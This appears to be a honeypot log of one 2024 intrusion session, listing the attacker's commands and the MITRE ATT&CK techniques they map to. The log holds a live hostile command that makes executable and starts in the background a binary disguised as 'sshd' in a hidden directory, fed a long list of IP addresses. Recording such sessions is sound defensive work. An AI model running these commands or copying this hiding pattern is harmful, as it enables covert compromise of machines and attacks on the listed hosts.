Honeypot attack session (period 2024), commands issued:
uname -s -m
chmod +x ./.4567786835484859317/sshd;nohup ./.4567786835484859317/sshd 208.65.84.121 77.232.130.204 116.103.228.104 173.212.202.192 149.5.174.170 188.165.227.10 103.123.62.146 86.107.197.43 41.174.98.129 208.65.84.143 208.65.84.32 217.197.97.25 31.129.105.62 167.86.93.35 103.123.62.150 124.193.179.120 108.179.217.143 116.105.27.215 59.0.226.33 57.128.170.72 107.172.84.105 202.129.205.122 107.174.250.150 95.163.25.157 5.42.73.122 13.37.212.94 193.201.126.166 5.34.202.195 198.244.220.221 141.94.2.163 208.65.84.108 175.99.19.251 122.97.184.105 111.204.101.222 43.205.236.79 60.244.107.125 15.207.220.76 162.240.149.176 222.77.96.52 165.154.199.32 193.192.108.42 113.104.23.62 211.154.194.21 124.225.158.100 185.204.197.226 111.20.120.70 185.239.0.149 222.77.96.50 74.48.137.188 93.51.37.228 83.212.74.33 &

MITRE ATT&CK techniques observed:
T1087 Account Discovery
T1222 File and Directory Permissions Modification
T1564 Hide Artifacts
T1059 Command and Scripting Interpreter